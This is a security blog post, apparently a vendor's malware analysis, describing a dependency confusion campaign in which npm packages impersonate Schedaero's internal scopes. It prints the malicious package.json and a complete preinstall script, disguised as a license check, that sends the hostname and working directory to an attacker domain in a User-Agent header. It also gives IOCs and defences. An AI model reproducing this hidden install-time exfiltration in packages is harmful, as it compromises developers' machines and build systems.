Malicious npm Packages Target Schedaero via Dependency Confusion

Kunal Singh Kunal Singh
4 min read

Table of Contents

TL;DR

Our malicious package scanning infrastructure recently flagged a cluster of malicious npm packages executing a classic Dependency Confusion attack. The packages impersonate internal scopes of Schedaero, a leading charter sales and flight operations management system.

The attacker, acting under the npm handle noboots11, published multiple identical packages. These packages contain a malicious preinstall script that executes immediately upon installation, gathering system information and exfiltrating it via a customized User-Agent string to a suspicious endpoint, then exiting successfully so the npm installation continues.

The Target: Schedaero

Schedaero is a legitimate, widely used cloud-based software system for business aviation operations, owned by the Avinode Group. By targeting the @Schedaero npm scope, the attacker is explicitly attempting to compromise developers or CI environments affiliated with Schedaero, or customers integrating with their platforms.

In a Dependency Confusion attack, threat actors upload packages to the public npm registry with the same names as internal, private packages used by a target organization. If the organization’s package manager is misconfigured, it may pull the malicious public version instead of the safe private one, usually by prioritizing the higher version number.

The Malicious Campaign

Schedaero All Packages

The threat actor published several packages under the @Schedaero scope. All packages share the exact same version (99440.540.1)—an artificially inflated version number meant to guarantee it overrides any internal versions—and the identical payload.

The flagged packages include:

  • @Schedaero/shared
  • @Schedaero/net-common
  • @Schedaero/bacon
  • @Schedaero/yukon
  • @Schedaero/react-core

So far, we have observed more than 500 downloads across these 5 packages. This suggests that misconfigured systems or automated build pipelines had already begun pulling the malicious code.

Despite impersonating aviation operations software, the packages use a generic, auto-generated description: “A comprehensive arithmetic toolkit with helper methods and extensive documentation.”

Analyzing the Attack Vector

The infection vector relies on the preinstall hook in package.json. This lifecycle script allows arbitrary code execution before the package is successfully installed.

Here is the malicious package.json for @Schedaero/shared:

{
"name": "@Schedaero/shared",
"version": "99440.540.1",
"description": "A comprehensive arithmetic toolkit with helper methods and extensive documentation.",
"main": "src/index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node scripts/setup.js"
},
"keywords": ["arithmetic", "math", "helpers", "documentation"],
"author": "Arithmetic Inc.",
"license": "MIT",
"dependencies": {
"@Schedaero/shared": "^99439.540.1"
}
}

Notice the preinstall: "node scripts/setup.js" directive. As soon as npm install @Schedaero/shared is invoked, setup.js executes.

Payload Analysis: setup.js

The execution of setup.js reveals a lightweight reconnaissance and data exfiltration payload.

const https = require('https');
const os = require('os');
/**
* @file This script is executed before the package is installed.
* Performs license checks if necessary.
*/
const LICENSE_URL = 'https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/';
const hostname = os.hostname();
const c = process.cwd();
console.log('Sending installation callback...');
const options = {
hostname: new URL(LICENSE_URL).hostname,
path: new URL(LICENSE_URL).pathname,
method: 'GET',
headers: {
'User-Agent': `Node.js/${process.version} (${hostname}) [${c}]`,
},
};
const req = https.request(options, (res) => {
console.log(`License callback request sent. Status Code: ${res.statusCode}`);
});
req.setTimeout(2000, () => {
console.error('Callback request timed out. Aborting.');
req.destroy();
});
req.on('error', (err) => {
console.error('Error sending callback:', err.message);
});
req.on('close', () => {
console.log('Callback request finished.');
process.exit(0);
});
console.log('End');
req.end();

The Domain https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/ is identified as malicious by multiple vendors.

Schedaero virustotal analysis

Breaking Down the Payload

  1. Deceptive Comments: The script pretends to perform a “license check”, a common social engineering tactic to deflect suspicion if a developer inspects the code.
  2. Reconnaissance: It gathers two critical pieces of environmental context: the machine’s hostname and the current working directory (process.cwd()). This tells the attacker who executed the code and where it ran (e.g., inside a specific project folder like /opt/buildagents/work/schedaero-api).
  3. Exfiltration via HTTP Headers: The gathered data is stealthily packed into the User-Agent HTTP header, completely bypassing basic network inspection tools that only check URL parameters or request bodies.
    • Example exfiltrated header: User-Agent: Node.js/v20.11.0 (dev-macbook-pro) [/Users/dev/projects/Schedaero/internal-app]
  4. Forced Process Exit: In the close handler, the script executes process.exit(0);. This unconditionally halts the Node.js process with a “success” code. This abrupt termination stops the actual npm installation process from continuing. The likely goal is to prevent throwing a visible installation error down the line while successfully completing the DNS/HTTP callback to the attacker’s infrastructure.

Indicators of Compromise (IOCs)

Indicator TypeValue
Malicious URLhttps://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/
Domaingjq.io
npm Authornoboots11
Suspect Scope@Schedaero/*

Conclusion

This campaign represents a textbook Dependency Confusion attack characterized by an artificially inflated version number, targeted scope impersonation, and immediate pre-install execution. The exfiltration of the hostname and current working directory allows the threat actor to verify if they have successfully breached an employee’s workstation or a corporate build server, providing a foothold for further targeted compromise.

Defending against dependency confusion requires strict control over package resolution. Organizations should enforce scope-to-registry mapping (ensuring @internal-scopes only resolve to private registries) and utilize tools that scan for anomalous package behaviors, such as unexpected preinstall lifecycle execution and external network calls, before the code ever reaches the developer machine.

  • npm
  • oss
  • malware
  • supply-chain
  • security
  • dependency-confusion

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App